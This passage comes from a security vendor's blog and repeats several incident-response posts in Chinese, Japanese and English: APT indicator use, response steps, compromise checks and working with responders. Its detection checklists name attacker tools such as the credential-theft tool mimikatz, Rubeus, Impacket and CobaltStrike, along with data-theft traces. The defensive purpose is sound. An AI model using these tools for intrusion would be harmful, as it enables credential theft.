2. 惡意程式資料庫: 惡意程式資料庫可提供更多技術細節，幫助企業技術人員選擇正確有效的防禦工具並妥善部署。
3. 威脅情資報告: 企業更可參考威脅情資報告，確認自身狀況是否與報告中的描述吻合，從而確保處置過程及事後防禦部署，萬無一失。

 

**正確的APT IOC使用流程應包含以下步驟**：
1. 將APT IOC妥善部署於環境中的網路設備與資安軟體中。最好使用自動化工具進行部署，以確保完整性和一致性。
2. 當警報發生時，應立即對其進行處置，包括阻擋、隔離和清除惡意軟體。及時採取行動可以減少損害和風險。
3. 處置完成後，需要對事件進行詳細調查。通過情報平台搜集IOC的來源和成因，並確定攻擊者的身份和目的，同時確認相關事件如何發生於與自身同質性高的產業。這有助於企業更好地了解該惡意族群的攻擊手法和攻擊工具，才能進行針對性的防禦。
4. 採取針對性防禦措施，包括正確的資安工具選擇和設置，以及更完善的企業資安制度建立。這有助於提高企業的安全性並保護重要資料的機密性。
5. 由於APT攻擊的特點是針對性強，攻擊者會根據目標企業的弱點進行攻擊。因此，企業端需要對攻擊者/惡意族群進行更全面的了解，以便採取正確的防禦措施。

 
 
 

ThreatVision 威脅情資平台提供了最完整且深入的亞太區域惡意族群資料庫。威脅情資報告以敘事形式、段落式呈現，細節豐富完整，有助您快速了解威脅事件，吸收更多有效的威脅事件處理經驗，並且易讀性也可提高您的資安團隊在向上報告和跨團隊溝通時的效率。

ThreatVision 威脅情資平台提供的內容即包含 APT IOC，並可進一步連結到 ThreatVision 豐富的惡意族群資料庫、惡意程式資料庫及威脅情資報告內容，協助企業掌握資安威脅全貌，進行超前部署。

知己知彼，百戰不殆。在資安的道路上，TeamT5 是您最佳的夥伴。

如何正確利用APT入侵指標，進行主動資安防禦?

企業や組織がサイバー攻撃を受けた際、適切なアクションを実行し、マイナス影響を軽減することが重要です。
インシデントレスポンスチームと協力することで、企業はより早く正しい方向性に戻ることができます。

さらに、私たちのインシデントレスポンスチームは攻撃の原因を見つけ、更なる損失や攻撃を避けるために問題の根本に対処する事ができます。

サイバー攻撃に対処する手順
TeaｍT5のインシデント対応のエキスパートはサイバー攻撃により適切に対処する為に以下のステップを講じることを提案いたします。

 

- **不完全なログから侵入コンテキストを見つける**

ほとんどの攻撃者は、侵入行為や侵入手順を隠蔽するためにログを削除します。 したがって、情報セキュリティ インシデント対応担当者は、攻撃者の侵入コンテキストを分析するために、不完全なログから削除されていないレコードを見つけるために全力を尽くす必要があります。

 

- **攻撃者の侵入時刻と経路を特定する**

情報セキュリティ インシデント対応担当者は、侵入時点、侵入方法、侵入プロセスなどのログ記録を通じて、侵入イベントの外観を徐々に復元し、確立します。

より具体的には、情報セキュリティインシデント対応担当者は、段階的な調査と分析を通じて、どのマシンからどの脆弱性を通じてシステムに侵入されたのか、どのくらいの期間にわたってシステムに侵入されたのか、どのデータが攻撃者によって盗まれたのかを企業が明らかにするのを支援します。詳細については。

 

- **通常業務の再開**

情報セキュリティインシデント対応担当者は、企業が攻撃者の侵入経路をブロックし、攻撃者によって埋められたバックドアを削除することで、攻撃者が同じバックドアを使用してシステムに再度侵入するのを防ぐのに役立つ完全な技術能力を備えている必要があります。 さらに、企業がシステムをオンラインに戻して通常の運用を再開できるよう支援します。

 

- **企業の情報セキュリティ ガバナンス全体に関する提案を提供する**

テクノロジーは日々変化し、攻撃手法も日々変化していますが、企業の情報セキュリティ計画を適切に実行し続けることによってのみ、企業の情報セキュリティのレジリエンスを高めることができます。
情報セキュリティインシデントへの対応と処理を完了するには、企業のサイバーセキュリティの計画と実行について総合的な提案を提供する経験豊富な専門家が必要です。

情報セキュリティ管理の提案には、ネットワークのセグメンテーション、リアルタイムで更新されないシステム パッケージ (攻撃者はゼロデイ脆弱性を介して直接侵入できる)、イントラネット防御の強化 (たとえば、多くの企業がイントラネット サービスに同じパスワード セットを使用しているなど) が含まれます。二段階認証メカニズム/2FA が採用されていない場合、攻撃者がパスワードの 1 つを習得すると、さらに各システムのパスワードと権限を習得することができ、攻撃者は企業のすべての情報を迅速に取得できます。

 

## まとめ
今日の商業活動や企業運営は情報システムに大きく依存しており、サイバー攻撃や重大な情報セキュリティインシデントが発生した場合、日常業務に大きな影響を及ぼします。 

企業は、インシデントの分析とシステムの回復の為に専門の情報セキュリティインシデント対応チームの支援を求めることを推奨いたします。

これにより、さらなる損失を効果的に回避し、迅速に正しい運用軌道に戻すことができます。

 
 

>TeamT5 チームは、長年にわたりハッカー グループの侵入行動の研究と分析を行っており、国内外の第一線の情報セキュリティ インシデントの処理において豊富な経験を持っています。
>攻撃者の侵入を検知した場合、インシデントのインパクトと技術的原因を調査し、お客様のインシデント処理のための解決策と回避策を提供し、情報の復元と改善を支援します。



情報セキュリティ インシデントの処理と対応が必要な場合は、相談フォームにご記入ください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blogs&utm_medium=website)

ネットワーク攻撃を受けた場合、どのような対処が適切でしょうか？

When enterprises face cyber attacks, it’s important for them to take proper actions and lower the negative impacts. By collaborating with our incident response team, the enterprise can get back on to the right track sooner. Furthermore, our incident response team can find out the cause of the attack and deal with root problems to avoid further losses & attacks.

##Steps to Respond to Cyber Attacks
Incident response experts from TeamT5 suggest enterprises to take the steps below in order to better deal with cyber attacks.

###1.Find the Cyber Attack’ Intrusion Path from (Incomplete) Log
Most attackers will delete the log to cover up their intrusion behaviors. Therefore, our incident response team must try their best to find undeleted records in a fragmented log environment to analyze the attacker's intrusion path.


###2. Investigate and Find the Cyber Attack’s Timeline & Path
Incident response experts can form a broader view of the incident by going through logs. To fully understand the cyber attack, it requires the expert to analyze and come up with a report on the timing, path, and process of the event.

To be more specific, incident response experts can help enterprises to get a clearer picture on which system is breaked by the certain device(s), what vulnerabilities are being used, how long the system has been compromised, what data has been stolen, etc.

###3. Bring Enterprise Operation back to Normal
Incident response experts should have technical abilities to help enterprises to block attackers’ intrusion. By deleting backdoors or C2 created by attackers, this can prevent attackers from using the same method in sneaking into the system again.

###4. Provide Comprehensive Cybersecurity Governance Suggestions to Enterprises
Technology is evolving everyday, so are the attack methods. Only by continuing to carry out good enterprise, can enterprises enhance their cybersecurity resilience. 

To complete the response and handling of cyber incidents, it is important to have well trained experts to provide comprehensive suggestions on cybersecurity planning & execution for the enterprise.

Suggestions include but not limited to network segmentation, update to the latest version of system (attackers can directly intrude through zero-day vulnerabilities), and strengthening intranet defenses (for example, many companies use the same set of passwords for intranet services while the two-stage authentication mechanism/2FA is not adopted. This will allow the attacker to get rapid access to all systems and grasp all the information of the enterprise).


##Conclusion

Today's commercial activities and enterprise operations heavily rely on information technology systems. If cyber attacks or major cybersecurity incidents occur, daily operations could be greatly affected. 

It is recommended that enterprises seek the assistance from a professional incident response team for analysis and investigation of cybersecurity incidents and system recovery operations. With the help of a professional cybersecurity incident response team, enterprises can effectively avoid further losses and quickly return to their normal operation.


 
 

>With solid technical backgrounds and frontline expertises, TeamT5 provides an in-depth investigation and responses to real-world cyber-attacks. We identify and research the intruder attacks, the impacts and technical causes of the incidents, and recommend solutions or workarounds to assist our clients in recovery and remediation.
 
>If you have needs for incident response, please contact us: https://teamt5.org/tw/contact-us/

[Incident Response] What To Do When Cyber Attacks Happened?

企業、組織遭受資安攻擊事件後，不宜慌張，建議聯絡專業的資安事件應變(incident response, IR)團隊，進行下列應變步驟，不僅協助企業恢復營運，更可找出資安事件發生原因、解決問題，避免往後遭受再次攻擊。

##資安事件應變步驟
TeamT5 杜浦數位安全專業團隊建議資安事件發生後的應變步驟：

###1.從殘缺的 log 中找到入侵脈絡
多數攻擊者會刪除 log，掩飾其入侵行為與步驟。因此資安事件應變人員須盡可能在殘缺的 log 中，尋找未被刪除的紀錄，以便分析出攻擊者的入侵脈絡。

###2. 找出攻擊者入侵的時間點、路徑
資安事件應變人員透過 log 紀錄，逐步還原、建立入侵事件的樣貌，包含入侵的時間點、入侵的手法、入侵的過程等。
具體來說，透過逐步的調查與分析，資安事件應變人員協助企業釐清系統是從哪台機器被侵入，是透過哪個漏洞被侵入，乃至系統被入侵多久時間、哪些資料被攻擊者偷走等細節。

###3. 恢復企業正常營運
資安事件應變人員宜具有完整的技術能力，協助企業封鎖攻擊者的入侵路徑，透過刪除攻擊者埋的後門，避免攻擊者使用同個後門、再次進入系統。更可進一步協助企業將系統重新上線，恢復正常營運。

###4. 提供整體企業資安治理建議
技術日新月異，攻擊手法千變萬化，唯有持續進行良好的企業資安規劃，才能增強企業資安韌性。
完成資安事件應變與處理，更宜有經驗豐富的頂尖專家針對企業資安治理層次，提供全方面的建議，減少下次發生入侵事件的機率。資安治理建議包含做好網路區隔、系統使用的套件未即時更新(攻擊者可透過零日漏洞，直接侵入)、增強內網防禦(如: 許多企業的內網服務使用同組密碼，且未採用二階段驗證機制/2FA，若攻擊者掌握其中一組密碼、進一步即可掌握各系統的密碼與權限，攻擊者藉此可快速獲取企業全部資料)。


##結語
現今商業活動、企業營運十分仰賴資訊系統，若遭受網路攻擊、發生重大資安事件，將大幅影響日常營運。建議企業組織可尋求專業的資安事件應變團隊協助，參與資安事件分析調查與系統恢復作業，能有效避免進一步的損失，快速回到營運正軌。

 
 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。

若您有資安事件處理、應變的需求，歡迎填寫諮詢表單: [https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

 
 
*首圖來源: [Pexels](https://www.pexels.com/)

【資安事件處理實務】遭受網路攻擊怎麼辦? 

頻発するサイバー攻撃は、人々の警戒を高めています。 企業組織の自社システムや機器などが攻撃を受け、侵入された疑いがある場合、TeamT5 チームは、セキュリティインシデント調査における長年の豊富な経験に基づき、次のような検査手順を指南いたします。


###1. 異常な動作がないかを確認

- 異常なログイベントが大量に発生している（パスワードスプレー攻撃の可能性）
- イベントログID：4624、4625
- 特権アカウントの異常な動作


 

###2. 新しい特権アカウントまたは新しい機器がドメインに追加されているかどうかを確認

- 追加されている場合、アカウントや機器からソースを追跡できます。

 

###3. 異常な登録コード（レジストリ）がないかを確認

- マルウェアの持続性を除去するために特定のメカニズムを使用する

 

###4. 異常な帯域幅の使用状況を確認

- トラフィックがどのエンドポイントから来ているかを確認し、盗まれたデータを推測する

 

###5. 異常なアプリケーションやサービスがインストールされていないかを確認

- PSEXEC、Anydesk

 

###6. 攻撃のタイムラインを把握

 

###7. 攻撃元を特定

 

TeamT5は20年以上の研究経験と最前線での専門知識を基に、サイバー攻撃に対する徹底的な調査を行い、対応いたします。攻撃者の侵入経路、インシデントによる影響と技術的原因を特定および調査を行い、解決策や回避策を提案し、企業組織のサイバー環境の復旧、改善を支援いたします。


サイバーセキュリティインシデントの対応が必要な場合は、相談フォームにご記入の上、ぜひご相談ください。 [https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

システムが侵害されているかどうかを確認するには?

The frequent occurrence of cyber attacks has also raised people's vigilance. If the enterprise suspects that its own system, machines, etc. may be attacked and invaded, TeamT5 incident response team will provide the following inspection directions based on its long-term and rich information security incident investigation experience.


###1.Check for unusual behavior

- A large number of abnormal log events (which may possibly be a password spraying attack)
- Event log id : 4624, 4625
- Abnormal high-privileged operation behavior

###2.Check if there is a new high-privileged account or a new machine added to the domain

- If so, you can trace back to the source from the account or machine

###3.Check for abnormal registration code (registry)

- Use certain mechanisms to remove malware persistence

###4.Check for unusual bandwidth usage

- Confirm which endpoint which the traffic is coming from to guess what data was stolen

###5.Check for abnormally installed applications or services

- PSEXEC、Anydesk

###6.Figure out the attack timeline(Timeline)

###7.Find the source of the attack

 
 


>With solid technical background and frontline expertise, TeamT5 provides an in-depth investigation and responses to real-world cyber-attacks. We identify and research the intruder attacks, the impacts and technical causes of the incidents, and recommend solutions or workarounds to assist our clients in recovery and remediation.

>If you have needs for incident response, please contact us: [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

 
 
*Image Courtesy:[Pixabay](https://pixabay.com/)

[Incident Response] How to check whether the system has been compromised by yourself?

網路攻擊事件頻傳，同時也提高人們的警戒心。若企業組織懷疑自身系統、機器等可能遭受攻擊入侵，TeamT5 杜浦數位安全團隊依據長期豐富的資安事件調查經驗，提供下列檢查方向。


###1.檢查是否有異常行為

- 大量登入異常Event log (可能為密碼噴灑攻擊 password spraying)
- Event log id : 4624, 4625
- 異常之高權限操作行為

###2.檢查是否有新增高權限的帳號或是新被加入 domain 的機器

- 如有，就可以從帳號或是機器著手回溯源頭

###3.檢查是否有異常的註冊機碼(registry)

- 清除惡意程式 persistence 的機制

###4.檢查是否有異常的頻寬用量

- 確認從哪台端點發出，以推測是什麼資料遭竊取

###5.檢查是否有安裝異常的應用程式或服務

- PSEXEC、Anydesk

###6.理出攻擊時間線(Timeline)

###7.找出攻擊源頭

 
 


>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。

若您有資安事件處理、應變的需求，歡迎填寫諮詢表單: [https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

 
 
*首圖來源:[Pixabay](https://pixabay.com/)

【資安事件處理實務】如何自行檢查系統是否被入侵?

突然の情報セキュリティインシデントは企業組織を驚かせます。外部の専門チームに支援を求める場合は、コミュニケーション効率を高めるために以下の資料を準備することをお勧めします。外部の専門チームがその強みを最大限に発揮し、企業の業務再開を迅速に支援できるようにします。


## セキュリティインシデント対応チームと連携するための 5 つの鍵


#### 1. 被害範囲の確認
- 侵害されたコンピュータ、侵害されたドメイン、影響を受けたサービスの総数


#### 2. 主要なマシンのフォレンジック分析に使用するキーツール(Reg, Log, $MFT……)
- Windows
 - https://github.com/CyberDefenseInstitute/CDIR
 - Exchange IIS log/ mail log
- Linux
 - https://github.com/tclahr/uac


#### 3.コマンドラインプログラム監査を有効にする
- イベントログ 4688

#### 4. ファイアウォールログ

#### 5. トラフィックモニタリングログ

 
 

## 情報セキュリティ インシデント対応チームは、企業が影響を受ける状況を判断できるよう支援します。

まず、情報セキュリティ インシデント対応チームは、企業が次のような影響を受ける状況を明確にするのを支援します。

#### 1. 盗まれたデータ
- 最近追加された zip、tar、rar、その他のファイルを探し、それらが攻撃者によってパッケージ化されているかどうかを確認します。
- エンドポイントにトンネルまたはポート転送ツールがあるかどうかを確認します。
- Megatools、dropbox などのクラウド アプリケーション フォルダーを見つけます。
- 一部のハッカーは誤って設定ファイルを保存してしまうことがあります。どのような情報を盗んだのかを確認することができる可能性があります。

#### 2.侵害されたアカウント
イベント ログを通じて、どのアカウントがハッカーによって横方向の移動やファイルのインストールに使用されたかを確認します。


#### 3. 使用されるツール
- ハッキング ツール: mimikatz、Rubeus、Impacket、LOLBAS…
- バックドア: CobaltStrike、Metasploit、TrickBot…

 
 

さらに、インシデント対応チームは、企業が通常業務を再開し、将来同様の攻撃を回避するために適切な情報セキュリティ保護措置を講じられるよう支援します。

 
 

>堅実な技術的バックグラウンドと最前線での専門知識を基に、TeamT5のインシデントレスポンスチームは徹底した調査と現実世界のサイバー攻撃者に対しての対処を提供します。侵入者の攻撃、インシデントの影響と技術的要因を特定、調査し、クライアントが回復と修復するための解決策と回避策を提案します。
 
>情報セキュリティ インシデントの処理と対応が必要な場合は、相談フォームにご記入ください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

セキュリティ インシデント対応チームとどのように連携すればよいですか? どのような支援が受けられますか?

Cyber incidents often happen out of the blue and catch enterprises by surprise. If you seek assistance from an external incident response team, it is recommended that you prepare the following materials to improve the efficiency of the discussion. This also allows external response teams to give full play to their strengths and quickly assist enterprises to resume operations.

## 5 keys to working with security incident investigation teams

1.Confirm the range of damage

- Total number of compromised computers, compromised domains, and affected services

 

2.Key tools we use for forensics analysis (Reg, Log, $MFT...)
- Windows
 - https://github.com/CyberDefenseInstitute/CDIR
 - Exchange IIS log/ mail log
- Linux
 - https://github.com/tclahr/uac
 

3.Enable command-line program auditing
 - Event log 4688

 

4.Firewall log

 

5.Traffic monitoring log

 

## Incident response team can assist enterprises to determine the affected situation

Initially, the information security incident team can help enterprises clarify the affected situation, including the following:

1.Stolen data
- Look for recently added .zip, .tar, .rar and other files, and check whether if they are packaged by attackers
- Check whether the endpoint has a tunnel or port-forwarding tool
- Find cloud application folders such as Megatools, dropbox, etc.
- Some hackers will accidentally keep some config files. If so, there is a chance you can look up information they might have stolen

 

2.The compromised account

Through the event log, we can determine the accounts hackers used for lateral movement and file installation

 

3.What tools are used
- Hacking tools: Mimikatz, Rubeus, Impacket, LOLBAS…
- Backdoors: CobaltStrike, Metasploit, TrickBot…

 

Furthermore, the incident response team can assist enterprises to resume normal operations and recommend appropriate protections to avoid similar attacks in the future.

 
 

>With our solid technical background and frontline expertise, TeamT5’s incident response team provides an in-depth investigation and response to real-world cyber-attacks. We identify and research the intruders’ attacks, the impact and technical cause of the incidents, and recommend solutions or workarounds to assist our clients in recovery and remediation.
 
>If you have needs for incident response, please contact us: [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)